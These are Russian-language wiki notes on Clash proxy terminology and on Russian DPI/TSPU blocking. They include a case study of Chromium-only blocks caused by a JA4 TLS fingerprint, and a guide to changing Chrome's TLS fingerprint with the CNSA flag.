комбинированно. Разбор — в [[Clash/06-features-protocols|возможностях ядра]]. **Redir / TPROXY.** Прозрачный перехват на Linux через iptables/nftables — так mihomo работает шлюзом для всей домашней сети. **Mixed-port.** Один локальный порт, который понимает и HTTP-прокси, и SOCKS5. Именно его указывают в настройках браузера или системы. ## Маршрутизация **Правило (rule).** Строка вида `ТИП,ЗНАЧЕНИЕ,ЦЕЛЬ`: условие и что делать с подошедшим соединением. Список читается сверху вниз до первого совпадения. **`DIRECT` / `REJECT` / `MATCH`.** Три служебных слова: пустить напрямую, оборвать, «всё остальное». **Режимы `Rule` / `Global` / `Direct`.** Работать по правилам, гнать всё через один узел, не проксировать ничего. `Global` полезен для диагностики: если в нём работает, а в `Rule` нет — виноваты правила. **GeoIP / GeoSite.** Базы данных: первая сопоставляет IP-адреса странам, вторая — домены категориям (реклама, стриминг и т. п.). Позволяют писать правила вида «все российские адреса — напрямую». **`no-resolve`.** Флаг в правилах по IP: «не ходить в DNS ради проверки этого правила». Экономит запросы и время. **Sub-rules.** Именованные наборы правил, к которым основной список переходит по условию, — способ не превращать конфиг в простыню. ## DNS **Fake-IP.** Режим, в котором ядро мгновенно отвечает приложению подставным адресом из служебного диапазона `198.18.0.0/16`, запоминая, какому домену он соответствует. Позволяет применять доменные правила при прозрачном перехвате и ускоряет работу. Некоторые приложения от подставных адресов ломаются — для них есть список исключений **`fake-ip-filter`**. **Redir-host.** Старый режим вместо fake-ip: ядро запоминает домен, но отдаёт приложению настоящий адрес. Медленнее и чаще ошибается на CDN. **DoH / DoT / DoQ.** Шифрованные способы делать DNS-запросы: поверх HTTPS, поверх TLS, поверх QUIC. Скрывают от провайдера список запрашиваемых доменов. **`nameserver-policy`.** Правило «какие домены каким DNS-сервером разрешать»: локальные — провайдерскому, остальные — шифрованному. **Утечка DNS.** Ситуация, когда запросы имён уходят мимо туннеля и провайдер видит список ваших доменов. Проверяется на dnsleaktest.com, разбор — в [[Clash/05-troubleshooting|диагностике проблем]]. ## Протоколы и маскировка **Протокол.** Как устроены данные внутри соединения: [[xray/vless|VLESS]], [[protocols/vmess|VMess]], [[protocols/trojan|Trojan]], [[protocols/shadowsocks|Shadowsocks]], [[protocols/tuic|TUIC]], Hysteria. Карта — в [[protocols/00-overview|обзоре протоколов]]. **Транспорт.** Во что упаковано соединение: TCP, TLS, WebSocket, gRPC, HTTP/2, [[xray/xhttp|XHTTP]], QUIC. **Маскировка.** Как всё это выглядит для наблюдателя: [[xray/reality|REALITY]], XTLS Vision, [[protocols/shadowtls|ShadowTLS]], набивка [[protocols/anytls|AnyTLS]], обфускации. **UUID.** Строка вида `b831381d-…`, которая опознаёт пользователя в VLESS и VMess. По сути — ваш пароль; не публикуйте её. **SNI.** Поле в TLS-рукопожатии с именем сайта, к которому вы обращаетесь. Именно по нему DPI чаще всего понимает, куда идёт соединение. **uTLS / client-fingerprint.** Подделка TLS-отпечатка под браузер, чтобы клиент не выделялся своим «почерком» рукопожатия (см. [[DPI/browser-ja4-fingerprint-block|заметку про JA4-отпечатки]]). **Сниффер.** Механизм, который достаёт имя хоста из начала соединения (SNI, HTTP Host, QUIC), когда приложение подключилось сразу по IP-адресу. Без него доменные правила к такому трафику неприменимы. **Мультиплекс (mux, smux).** Несколько логических соединений внутри одного физического. Ускоряет открытие страниц, но добавляет собственный статистический признак — на части сетей делает хуже. ## Управление и диагностика **Clash API (external-controller).** HTTP-интерфейс управления ядром: переключить узел, посмотреть соединения, логи, скорость. На нём работают веб-дашборды и сами оболочки. Держите его на `127.0.0.1` и с паролем. **Дашборд.** Веб-панель поверх Clash API: metacubexd, zashboard и другие. Удобны, когда ядро работает на роутере или сервере без графики. **Список соединений (Connections).** Таблица активных соединений: куда, по какому правилу, через какой узел. Главный инструмент отладки маршрутизации. **Health check / задержка.** Периодическая проверка узлов запросом к тестовому URL. Цифра в миллисекундах рядом с узлом — результат этой проверки, а не скорость канала. **HWID.** Идентификатор устройства, который некоторые панели требуют от клиента при загрузке подписки, чтобы ограничить число устройств. К протоколам отношения не имеет — разбор в [[subscriptions/hwid-client-lock|отдельной заметке]]. ## 📚 См. также - [[Clash/00-overview|Обзор раздела Clash]] — с чего начать и в каком порядке читать. - [[Clash/03-first-run|Первый запуск]] — практика для новичка. - [[Clash/04-rules|Правила маршрутизации: рецепты]] — где эти термины применяются. - [[Clash/05-troubleshooting|Типичные проблемы]] — что делать, когда встретился термин из сообщения об ошибке. - [[protocols/00-overview|Обзор протоколов]] — расширенный словарь по протоколам и маскировке. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Clash/09-glossary.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-20 tags: - dpi - тспу - цензура - обзор-раздела aliases: - DPI раздел - ТСПУ обзор - Как работает DPI - Блокировки в России как устроены - Глубокая инспекция трафика --- # 🕵️ DPI и ТСПУ — раздел > [!info] О чём раздел > Как устроена глубокая инспекция трафика (**DPI**, Deep Packet Inspection) и российские **ТСПУ** (Технические Средства Противодействия Угрозам): по каким признакам анализируются соединения, какие инциденты это вызывало в 2026 году, какие есть клиентские приёмы обхода и что делать владельцу сайта под ложной блокировкой. ## Как устроена инспекция - [[DPI/dpi-analysis-pipeline|Как DPI анализирует соединение: воронка проверок]] — исследовательский разбор: по каким признакам и в каком порядке DPI решает судьбу соединения, от SYN до ML. - [[DPI/rdp-ecodpi|EcoDPI и компания РДП.РУ]] — «железо» российских ТСПУ: кто его делает и что оно умеет. - [[DPI/browser-ja4-fingerprint-block|Блокировка по JA4-отпечатку браузера]] — полевой случай: сайт открывается везде, кроме Chromium-браузеров. - [[DPI/tspu-h2-h3-fingerprint-hypothesis|Гипотеза о «вечном HTTP/2»]] — возможный поведенческий признак, по которому ТСПУ ловит прокси. ## Хроника инцидентов 2026 - [[DPI/tspu-false-blocks-june-2026|Как ТСПУ ломает легитимные сайты]] — сопутствующий ущерб: с июня 2026 «падали» обычные сайты на российских хостингах. - [[DPI/tspu-whitelist-cloudflare-june-2026|Инцидент 23 июня 2026]] — не работает Discord, Twitch заблокирован: волна изменений в блокировках. - [[DPI/subnet-whitelist-blocking-2026|Блок подсетей Cloudflare и Amazon по белому списку]] — почему страдают целые диапазоны адресов. - [[DPI/google-dns-8888-block-july-2026|Инцидент 3 июля 2026: блокировка 8.8.8.8]] — DoH/DoT Google перестал отвечать, «умерли» многие VPN. - [[DPI/twitch-block-2026|Блокировка Twitch в России]] — почему не грузится именно плеер и как чинить через [[Zapret2/Zapret2|Zapret]]. - [[DPI/tspu-3xui-scmininterval-trap|Ловушка обновления 3x-ui]] — как параметр `scMinPostsIntervalMs` триггерит ТСПУ. - [[DPI/post-pochemu-legli-ru-sajty-iyun-2026|Почему «легли» сайты на российских хостингах]] — публицистический разбор июньской волны. ## Клиентские приёмы - [[DPI/chrome-cnsa-flag-bypass|Флаг Chrome cryptography-compliance-cnsa]] — смена TLS-почерка одним флагом браузера. - [[DPI/tspu-disable-quic-chrome|Отключение QUIC (HTTP/3) в браузере]] — простой обход таймаутов ТСПУ. - [[DPI/curl-impersonate|curl-impersonate]] — curl, притворяющийся браузером: инструмент проверки блокировок. - [[DPI/olcrtc|OlcRTC — туннель через WebRTC-звонки]] — трафик внутри обычного видеозвонка против белых списков. - [[DPI/statistical-morphing-concept|Адаптивная мимикрия: статистический морфинг]] — концепт следующего шага после uTLS. ## Владельцу сайта и сети - [[DPI/tspu-http2-tls12-fix|Как починить сайт под ложной блокировкой]] — практический гайд: HTTP/2 Only + TLS 1.2. - [[DPI/ru-network-blocklists|Блокировка российских сетей (ASN/CIDR)]] — стоит ли блокировать подсети Яндекса, VK, Сбера у себя на сервере. ## Политика и прогнозы - [[DPI/rkn-vpn-2030-roadmap|Курс на 2030]] — официальные планы по VPN и фильтрации всего трафика. - [[DPI/isp-licensing-reform-2026|Реформа лицензирования провайдеров]] — зачистка рынка связи: около двадцати типов лицензий заменят тремя. - [[DPI/mincifry-whitelist-vpn-hosting-august-2026|«Замаскированные» VPN и белый список]] — что на самом деле обсуждает Минцифры с хостерами (август 2026). - [[DPI/economic-filter-foreign-channels-2026|Экономический фильтр]] — ограничение «трубы» зарубежного интернета вместо блокировок. - [[DPI/vpn-blocking-wave-forecast-summer-2026|Прогноз новой волны блокировок VPN]] — насколько реальна «временная стабилизация». ## 📚 См. также - [[Zapret2/Zapret2|Zapret 2]] — главный инструмент обхода DPI в этом vault - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY]] — детекция прокси-протоколов - [[mtproxy/mtproxy|Раздел MTProxy]] — та же борьба на примере Telegram --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/DPI/DPI.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- date: 2026-06-09 tags: - dpi - ja4 - tls - fingerprint - chrome - utls - mtproto - faketls - rkn aliases: - Блокировка по JA4-отпечатку браузера - JA4 fingerprint block - Кейс wireflow.space - Почему сайт не открывается только в Chrome link: https://github.com/telegramdesktop/tdesktop/issues/30733 --- # 🕵️ Когда DPI блокирует сайт по JA4-отпечатку браузера: разбор кейса wireflow.space > [!info] О чём заметка > Документированный полевой случай: сайт открывается в Firefox, Safari и `curl`, но **не открывается ни в одном Chromium-браузере** (Chrome, Edge) — и причина не в самом сайте, а в **TLS-отпечатке браузера**, по которому его опознаёт DPI. Это конкретная иллюстрация «Сигнала 2» (фингерпринт клиента) из теоретического разбора [[VLESS/dpi-tls-june-2026|схемы ограничений июня 2026]] и того, как от него страдают **обычные пользователи**, а не только обходные средства. > [!warning] Статус данных > В основе — **наблюдения нескольких участников** форумного обсуждения (захваты трафика Wireshark/`tshark`, тесты в разных браузерах, июнь 2026). Это воспроизводимый, но **community-источник**, а не официальная спецификация блокировки. Конкретные JA4-хеши и «триггер по github» — то, что увидели и описали очевидцы; параметры различаются от оператора к оператору и со временем меняются. Сайт `wireflow.space` в кейсе — **чужой** (это сторонний VPN-сервис), он использован лишь как удобный «подопытный», на котором эффект стабильно повторяется. ## TL;DR - Сайт `https://www.wireflow.space` (IP `82.24.123.105`, Hostkey B.V., Амстердам) **не открывается в Chrome и Edge**, но открывается в Firefox, Safari и через `curl`. - В Chromium соединение **не доходит до ответа сервера**: после `Client Hello` идёт серия `TCP Retransmission`, а затем `RST` — при этом сам IP не блокирован. Реакция идёт **на TLS-отпечаток**, а не на адрес. - Блокируется **один конкретный JA4**: `t13d1516h2_8daaf6152771_d8a2da3f94cd`. Это **не «Chrome вообще»**, а отпечаток Chrome 134-поколения (в базах JA4 числится как «Chrome 134, macOS») — ровно тот, что использует **MTPROTO FakeTLS** Telegram. Та же сигнатура попадала и в часть сборок Chrome/Edge на Windows у очевидцев. - **Свежий Chrome 148 на Windows** даёт **другой** JA4 — `t13d1514h2_8daaf6152771_827b515c4f52` (14 расширений вместо 16) — и под блок **не попадает**. - **Обновление страницы** (F5) часто «лечит» доступ: Chromium добавляет расширение `pre_shared_key` (возобновление TLS-сессии), отпечаток меняется на `t13d1517h2_8daaf6152771_b6f405a00624` — и под правило он уже **не попадает**. - Firefox и `curl` не блокируются, потому что у них **другие JA4** (другой «почерк»). - Это тот же механизм, что бьёт по VLESS+REALITY с `fingerprint: chrome` и по MTProto-прокси: DPI ловит **конкретный устаревший отпечаток**, а не содержимое трафика. ## На пальцах: что вообще происходит > [!example] Аналогия > Представьте охранника на входе, который не проверяет, *что* у вас в сумке (это бесполезно — всё зашифровано), а смотрит на **фасон вашей одежды**. У него есть ориентировка: «не пускать людей в куртке такого-то фасона к такому-то зданию». Chrome, Edge и весь Chromium «одеты» в один и тот же фасон (одинаковый TLS-«почерк»). Firefox и `curl` одеты иначе — их пускают. А стоит человеку в «той самой» куртке просто переодеть шарф (обновить страницу — добавляется одно TLS-расширение), как фасон формально перестаёт совпадать с ориентировкой, и его пропускают. Ключевой сдвиг: цензор давно **перестал заглядывать внутрь** TLS-пакета (там всё зашифровано) и опознаёт клиента по форме самого первого пакета рукопожатия — `Client Hello`. Свёртка этого пакета в короткую строку и называется **JA4-отпечатком**. ## Что такое JA4 — в одну строку **JA4** — это устойчивый отпечаток TLS-клиента: версия TLS, отсортированный список шифров и расширений, ALPN. Записывается строкой из трёх частей `a_b_c`. Подробный разбор формата (и чем JA4 лучше старого JA3) — в заметке [[DPI/dpi-analysis-pipeline|воронка анализа DPI]] и в разделе про uTLS в [[VLESS/dpi-tls-june-2026|разборе схемы июня 2026]]. Для понимания кейса достаточно прочитать **первый блок** хеша: ```text t 13 d 15 16 h2 │ │ │ │ │ └─ ALPN: http/2 │ │ │ │ └────── число расширений: 16 │ │ │ └─────────── число шифров (cipher suites): 15 │ │ └─────────────── SNI присутствует (d = domain) │ └──────────────────── версия TLS: 1.3 └──────────────────────── транспорт: TCP ``` ## Что наблюдали в кейсе | Где открывали | TLS-движок | Результат | |---|---|---| | Chrome | Chromium / BoringSSL | ❌ `Client Hello` → ретрансмиссии → `RST` | | Edge | Chromium / BoringSSL | ❌ то же самое | | Firefox | Gecko / NSS | ✅ открывается | | Safari | WebKit / coreTLS (BoringSSL) | ✅ открывается | | `curl` | OpenSSL | ✅ открывается | В Chromium захват трафика показывает картину «глухой стены»: уходит `Client Hello (SNI=www.wireflow.space)`, дальше — серия `TCP Retransmission` (ответа нет), и в конце `RST`. Ответ сервера до клиента **не доходит**: `Client Hello` уходит впустую, клиент его повторяет, а DPI глушит соединение по JA4-отпечатку — финальный `RST` приходит уже в конце этого «шторма» ретрансмиссий, а не мгновенно. При этом сам IP `82.24.123.105` не блокирован: на прямое обращение к нему «никакой реакции нет». ## Отпечатки, которые решают всё Именно разница в JA4 объясняет, почему одни браузеры проходят, а другие нет: | Клиент / ситуация | JA4 | Под блок? | |---|---|---| | Chrome 134-поколения / Telegram FakeTLS | `t13d1516h2_8daaf6152771_d8a2da3f94cd` | ❌ блок | | Chromium после обновления страницы (F5) | `t13d1517h2_8daaf6152771_b6f405a00624` | ✅ проходит | | **Свежий Chrome 148 на Windows** | `t13d1514h2_8daaf6152771_827b515c4f52` | ✅ проходит | | Firefox | `t13d1717h2_5b57614c22b0_3cbfd9057e0d` | ✅ проходит | | `curl` (OpenSSL) | другой (начинается с `t13d14…`) | ✅ проходит | Правило DPI заточено под **один конкретный отпечаток** — `…d8a2da3f94cd`. Любой клиент с другим JA4 правило не активирует. > [!important] Блокируется не «Chrome», а конкретная версия отпечатка > Легко решить, что DPI ловит «браузер Chrome». На самом деле под правило попадает **строго один JA4** — `t13d1516h2_8daaf6152771_d8a2da3f94cd`. В публичных базах сопоставления он числится как «Chrome 134, macOS», но различает JA4 в первую очередь **версию клиента**, а не ОС: ключевое отличие — **число расширений (16 у Chrome 134-поколения против 14 у Chrome 148)**, метка ОС в базе — лишь ярлык наиболее похожего профиля. Поэтому свежий Chrome 148 (`t13d1514h2_…`) проходит, а более старые сборки Chrome/Edge — нет. Тот же `…d8a2da3f94cd` зашит и в FakeTLS-маскировку Telegram (см. ниже). ### Почему обновление страницы «лечит» доступ Сравните первые блоки двух Chromium-отпечатков: `t13d15**16**h2` против `t13d15**17**h2`. Различие — **число TLS-расширений: 16 → 17**, при том что список шифров (`8daaf6152771`) тот же. Когда вы заходите на сайт повторно (или обновляете страницу), Chromium пытается **возобновить TLS-сессию** и добавляет в `Client Hello` расширение `pre_shared_key`. Это меняет и счётчик расширений (16→17), и хеш-часть отпечатка (`d8a2da3f94cd` → `b6f405a00624`). Получается **другой JA4**, под который правило блокировки не написано, — поэтому со второго раза сайт нередко открывается. > [!note] Это не «обход», а побочный эффект > Возобновление сессии — штатное поведение браузера, а не приём против DPI. Поэтому «лечение обновлением» нестабильно: при холодном заходе (нет сессии для возобновления) снова уходит «голый» `…d8a2da3f94cd`, и сайт опять не открывается. ## Спорный триггер: связь с обращением к GitHub Часть очевидцев описала любопытную закономерность: блок на `wireflow.space` в Chrome **«взводится» примерно на 10 минут после обращения к GitHub** — причём триггером называют **SNI самого GitHub**, а не его IP. Логика-гипотеза: у тех, кто сидит за провайдерским NAT, рабочим Wi-Fi и т.п. (где кто-то постоянно ходит на GitHub, а часть опенсорс-софта периодически проверяет там обновления), такой блок может «висеть» практически **круглосуточно**. > [!warning] Это наблюдение, а не подтверждённый факт > Связь именно с GitHub перепроверить трудно: на проблемных сетях (приводят пример университетского МГТС) **блокировки триггерит постоянно и много чего**, поэтому выделить GitHub как однозначную причину не удалось. Относитесь к «10-минутному окну после GitHub» как к **рабочей гипотезе**, а не к установленному правилу. Достоверно воспроизводится только базовый факт: блок включается на **JA4-отпечаток Chrome**, и смена отпечатка его снимает. ## Тот же отпечаток палит и Telegram (MTPROTO FakeTLS) Заблокированный `t13d1516h2_8daaf6152771_d8a2da3f94cd` — не случайный. Это тот самый отпечаток, которым **маскируется MTPROTO-прокси Telegram в режиме FakeTLS**: чтобы притвориться обычным HTTPS, клиент Telegram (Android и Windows) отправляет `Client Hello`, который в базах JA4 опознаётся как профиль **Chrome 134/macOS** (macOS здесь — ярлык совпавшего профиля, а не платформа клиента). Об этом — открытый issue [telegramdesktop/tdesktop#30733](https://github.com/telegramdesktop/tdesktop/issues/30733) «Обновить fingerprint MTPROTO FakeTLS». Из issue следует прямая связь с этим кейсом: - Telegram FakeTLS использует **устаревший** профиль Chrome 134 (`…d8a2da3f94cd`) — тот же, что попал под блок wireflow.space. - Тесты блокировки **MTPROTO-прокси** по этому JA4 начались в **Сибири 22 мая 2026**. - Предложение в issue — обновить FakeTLS-отпечаток до актуального (например, Chrome 148 / Windows `t13d1514h2_8daaf6152771_827b515c4f52`) и **ротировать** его между профилями Chrome Windows / Chrome Android / Firefox, чтобы не торчать статичной сигнатурой. Вывод: DPI ведёт **чёрный список конкретных JA4 обходных средств**. Поскольку этот же отпечаток случайно отдавали и старые сборки настоящего Chrome/Edge, под раздачу попали и обычные сайты — это и есть наблюдаемый эффект wireflow.space. Разбор MTProto-стороны — в [[Zapret/mtproto/10-telemt-logs-dpi|логах DPI по telemt]] и [[Zapret/mtproto/00-overview|обзоре MTProto]]. ## Как это связано с блокировкой VLESS и обычного веба Этот кейс — наглядная демонстрация того, о чём говорит [[VLESS/dpi-tls-june-2026|разбор схемы июня 2026]]: DPI ловит **массовый отпечаток Chrome** и применяет правило к подозрительному направлению. - `wireflow.space` — это **сторонний VPN-сервис на зарубежном хостинге** (Hostkey, Нидерланды). Для DPI такое направление «подозрительное» по адресу/подсети — ровно как ваш личный VLESS-сервер на «народном» хостинге. - Дефолтный фингерпринт Chrome — «подозрительный по почерку» сам по себе. - Совпадение «подозрительное направление + почерк Chrome» и активирует обрыв. Отсюда же — **сопутствующий ущерб для обычных пользователей**: страдает не обходное средство, а человек, который просто открыл чужой сайт в Chrome. Тот же эффект очевидцы наблюдают и на других ресурсах — биллинги хостеров, `bing.com`, отдельные российские сайты «через раз», особенно по IP. Подробнее механика «почему обычный Chrome обычно работает, но иногда ломает сайты» разобрана в [[VLESS/dpi-tls-june-2026|парной заметке]]. > [!important] Главный вывод > Если сайт упорно не открывается **только в Chrome/Edge**, но открывается в Firefox/Safari/`curl` — это с большой вероятностью **блокировка по JA4-отпечатку браузера**, а не проблема сайта, DNS или вашей сети. Проверяется за минуту: откройте тот же адрес в Firefox. ## Что это значит для обхода Для **обычного браузера** есть несколько клиентских способов сменить отпечаток (от простого к сложному): - **Открыть в Firefox/Safari** — другой TLS-стек, другой JA4. - **Обновить Chrome** до свежей версии (148 даёт `t13d1514h2_…`, не из чёрного списка). - **Нажать F5** — возобновление сессии добавляет `pre_shared_key`, отпечаток меняется. - **Включить флаг `chrome://flags/#cryptography-compliance-cnsa`** (Enabled, перезапуск). По сообществу (статья *eByeBots*, июнь 2026) это помогает: режим CNSA меняет приоритет (порядок) шифров и групп ключевого обмена, а вблизи Chrome 146 — и post-quantum-согласование. Подробно (и важная оговорка про JA4) — в [[DPI/chrome-cnsa-flag-bypass|отдельной заметке про CNSA-флаг]]. > [!warning] Про CNSA-флаг и JA4 > Часто пишут, что флаг «меняет **порядок** шифров». Но по докам Google флаг лишь **переупорядочивает** предпочтение шифров и групп (не меняя их состав), а JA4 шифры **сортирует** перед хешированием — поэтому переупорядочивание меняет устаревший **JA3**, но не JA4_b. Почему при этом иногда меняется и JA4 — точно не задокументировано (вероятно, post-quantum-согласование ML-KEM-1024 ~Chrome 146 или порядок алгоритмов подписи; не исключено, что правило DPI завязано на JA3). Сам автор отмечает: **«может сработать не у всех»**. Перед использованием проверь свой JA4 на [tls.browserleaks.com/json](https://tls.browserleaks.com/json). Разбор — в [[DPI/chrome-cnsa-flag-bypass|заметке про CNSA-флаг]]. А для **обходных средств** вывод прямой и совпадает с рекомендациями [[VLESS/dpi-tls-june-2026|схемы июня 2026]]: > [!tip] Практика > - **Не используйте `fingerprint: chrome` в REALITY** — именно он попадает под массовое правило. Берите менее массовый профиль: `firefox`, `edge` или `random`. > - **Различайте `random` и `randomized` — это не одно и то же:** > - `random` — xray случайно берёт один из **реальных** браузерных пресетов (Chrome 131, Firefox 148 и т.п.). Почерк всегда валидный — безопасный вариант. > - `randomized` (`HelloRandomizedALPN` в uTLS) — генерирует **синтетический** `Client Hello` со случайными шифрами/расширениями (не реальный браузер), причём **по-разному на каждом соединении**. В Xray-core для REALITY TLS 1.3 при этом **принудительно форсируется** (вес `TLSVersMax_Set_VersionTLS13 = 1`), так что в TLS 1.2 он не падает. Но главный минус остаётся: отпечаток случаен и нестабилен, а наличие post-quantum `key_share` (`X25519MLKEM768`) от соединения к соединению **непредсказуемо** — синтетика может сама выглядеть для DPI аномально. По сообщениям очевидцев (МГТС МСК, с 1 апреля 2026) `randomized` тоже **попадал под блок** — это **не панацея**, применять с осторожностью. > - Свежесть пресета uTLS важнее выбора бренда: пресет без post-quantum `key_share` (`X25519MLKEM768`) сам по себе аномален для «свежего» браузера — держите xray/uTLS актуальными. Это ещё одна причина предпочесть конкретный свежий пресет (`firefox`/`edge`) синтетическому `randomized`. > - Полностью отключить uTLS («голый» Go-почерк через `unsafe`/`HelloGolang`) **с REALITY не работает** — REALITY требует валидного браузерного фингерпринта. Это обсуждалось как вариант, но для REALITY он неприменим. ## 📚 См. также - 🔗 **Первоисточник связи с Telegram:** [Issue telegramdesktop/tdesktop#30733 — «Обновить fingerprint MTPROTO FakeTLS»](https://github.com/telegramdesktop/tdesktop/issues/30733) — откуда известно, что `…d8a2da3f94cd` = Chrome 134/macOS = FakeTLS Telegram, а `…827b515c4f52` = Chrome 148/Windows. - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY: схема июня 2026]] — теория «трёх сигналов», глубокий разбор uTLS и JA3/JA4, выбор `fingerprint`. - [[DPI/dpi-analysis-pipeline|Как DPI анализирует соединение: воронка проверок]] — где в общем конвейере ТСПУ стоит проверка TLS-отпечатка. - [[DPI/chrome-cnsa-flag-bypass|Обход блокировки флагом Chrome cryptography-compliance-cnsa]] — клиентский приём сменить TLS-отпечаток без смены браузера. - [[DPI/curl-impersonate|curl-impersonate — curl, притворяющийся браузером]] — как за секунды проверить из командной строки, что блокировка идёт именно по JA3/JA4-отпечатку клиента. - [[DPI/tspu-false-blocks-june-2026|Как ТСПУ ломает легитимные сайты: сопутствующий ущерб (июнь 2026)]] — TLS-отпечаток как фактор 2 в И-триггере «Siberian», из-за которого «легли» обычные сайты на хостингах. - [[DPI/ru-network-blocklists|Блокировка российских сетей (ASN/CIDR): приватность vs «чтобы не блокировали VPN»]] — почему блок РФ-ASN на сервере не мешает ТСПУ, но осмыслен для приватности. - [[DPI/statistical-morphing-concept|Адаптивная мимикрия трафика (концепт)]] — куда движется идея «прятать почерк и поведение». - [[Zapret/mtproto/10-telemt-logs-dpi|telemt: чтение логов и TLS-фингерпринты]] — та же блокировка по JA4 со стороны MTProto-прокси. - [[Zapret/mtproto/00-overview|MTProto Proxy — полный гайд]] — обзор MTProto и FakeTLS. - 🔗 [Спецификация JA4+ (FoxIO)](https://github.com/FoxIO-LLC/ja4) — как именно считается JA4. - 🔗 [uTLS (refraction-networking/utls)](https://github.com/refraction-networking/utls) — библиотека подмены TLS-отпечатка. --- --- date: 2026-06-09 tags: - dpi - ja4 - ja3 - tls - chrome - cnsa - rkn aliases: - CNSA-флаг Chrome против блокировок - cryptography-compliance-cnsa - chrome_fix - Обход блокировки сайтов флагом Chrome link: https://habr.com/ru/articles/1045438/ --- # 🧪 Обход блокировки сайтов флагом Chrome `cryptography-compliance-cnsa` > [!info] О чём заметка > Клиентский способ вернуть доступ к сайтам, которые **не открываются только в Chromium-браузерах** из-за блокировки по **TLS-отпечатку** (JA4/JA3): включить экспериментальный флаг `chrome://flags/#cryptography-compliance-cnsa`. Это меняет TLS-«почерк» Chrome, и соединение перестаёт совпадать с заблокированной сигнатурой. Сам механизм блокировки и почему он бьёт по обычным браузерам — в [[DPI/browser-ja4-fingerprint-block|разборе блокировки по JA4-отпечатку]]. > [!quote] Первоисточник > Приём описан в статье **eByeBots** на Хабре (июнь 2026): 👉 [habr.com/ru/articles/1045438](https://habr.com/ru/articles/1045438/). Там же — ссылка на репозиторий [`ebyebots/chrome_fix`](https://github.com/ebyebots/chrome_fix) с `.bat`-файлом для применения «в один клик». > [!warning] Статус > Это **народный приём**, не официальная рекомендация. Автор прямо предупреждает: **«может сработать не у всех»**. Объяснение «меняет порядок шифров» — авторская формулировка, и она **технически неполна** (см. раздел «Почему это работает»): против JA4 один лишь порядок шифров не помогает. Перед применением и после — проверьте свой отпечаток на [tls.browserleaks.com/json](https://tls.browserleaks.com/json). ## TL;DR - Сайт открывается в Firefox/Safari, но **не в Chrome/Edge** → вероятно, блок по TLS-отпечатку (JA4/JA3). - Лечится включением флага: `chrome://flags/#cryptography-compliance-cnsa` → **Enabled** → перезапуск. - Флаг включает режим **CNSA** (американский стандарт криптографии), меняя **приоритет (порядок)** шифров и групп ключевого обмена в `Client Hello` (а вблизи Chrome 146 — и post-quantum-согласование) → TLS-почерк меняется → под правило блокировки может перестать попадать. - Работает в **Chromium-браузерах** (Chrome, Brave, Opera, Яндекс.Браузер). Для Windows есть `.bat`, ставящий флаг через реестр. - Это **не панацея** и не замена нормальному обходу: меняется лишь TLS-почерк, помогает только против блокировок, завязанных на него. ## На пальцах > [!example] Аналогия > Охранник на входе не проверяет содержимое сумки (оно зашифровано), а сверяет ваш «фасон одежды» с ориентировкой: «не пускать в куртке такого-то покроя». Все Chromium-браузеры одеты в один и тот же фасон (одинаковый TLS-`Client Hello`), и он попал в ориентировку. Флаг CNSA — это команда «оденься по другому дресс-коду»: Chrome пересобирает рукопожатие под стандарт CNSA, фасон меняется, и ориентировка на него больше не срабатывает. ## Что наблюдается Из-за блокировки по TLS-отпечатку «через раз» перестают открываться вполне легальные ресурсы — **только в Chrome/Edge**, тогда как в Firefox/Safari они работают. В самой статье как пострадавший назван **Beget** (хостинг, у автора блокировался CDN); README репозитория `chrome_fix` приводит в примерах **beget.com, GitHub и Discord**. Это побочный ущерб от правил, нацеленных на обходные средства с хромовским отпечатком. ## Как включить - [ ] Открой `chrome://flags/` (в Chrome) или `edge://flags/`, `brave://flags/` и т.п. — в адресной строке. - [ ] Найди **Cryptography Compliance (CNSA)** — ID флага `#cryptography-compliance-cnsa`. - [ ] Переключи в **Enabled**. - [ ] Перезапусти браузер (кнопка *Relaunch*). - [ ] Проверь проблемный сайт. Для контроля отпечатка — открой [tls.browserleaks.com/json](https://tls.browserleaks.com/json) до и после: если приём сработал, значение `ja4` изменится. Не изменилось — значит на твоей сборке флаг на отпечаток не повлиял. Для Windows автор предлагает `.bat` из [`ebyebots/chrome_fix`](https://github.com/ebyebots/chrome_fix), который ставит флаг **через реестр** без ручных шагов (требует прав администратора и перезапуска браузера). > [!danger] Перед запуском чужого .bat > `.bat` правит реестр и требует админ-прав. Запускать сторонние скрипты вслепую не стоит — открой и прочитай содержимое, убедись, что он трогает только ключи реестра Chrome и ничего лишнего, либо сделай то же руками через `chrome://flags`. Содержимое чужого скрипта может меняться между версиями — не полагайся на чужие описания. Процедуру отката репозиторий не описывает — ручной способ отключается обратно тем же флагом (Disabled). ## Почему это работает (и важная оговорка про JA4) Флаг включает режим соответствия **CNSA (Commercial National Security Algorithm Suite)** — набор криптоалгоритмов правительства США. По описанию Google, флаг заставляет Chrome **упорядочивать cipher suites по предпочтению CNSA**; вблизи Chrome 146 при этом флаге TLS-серверы Google начинают согласовывать post-quantum **ML-KEM-1024**. Сама политика помечена как «не требуется для безопасности». > [!warning] Тонкость: «порядок шифров» — неполное объяснение > Автор статьи пишет, что флаг «меняет **порядок** шифров». По документации Google флаг и правда лишь **переупорядочивает** предпочтение шифров и групп ключевого обмена под CNSA (`PreferSlowCiphers` + `PreferSlowKEXAlgorithms`) — он **не добавляет и не убирает** шифры из `Client Hello`. > > Но современный отпечаток **JA4 шифры сортирует** перед хешированием (вторая часть JA4 — хеш *отсортированного* списка cipher suites). Значит, одно лишь переупорядочивание шифров JA4 **не меняет** — оно меняет устаревший **JA3** (тот к порядку чувствителен). > > Почему же при этом иногда меняется и JA4, и блок спадает — **точно не задокументировано**. Вероятные причины: вблизи Chrome 146 флаг включает post-quantum-согласование **ML-KEM-1024** (меняется `key_share`/`supported_groups`), либо сдвигается порядок алгоритмов подписи (их JA4, в отличие от шифров, **не 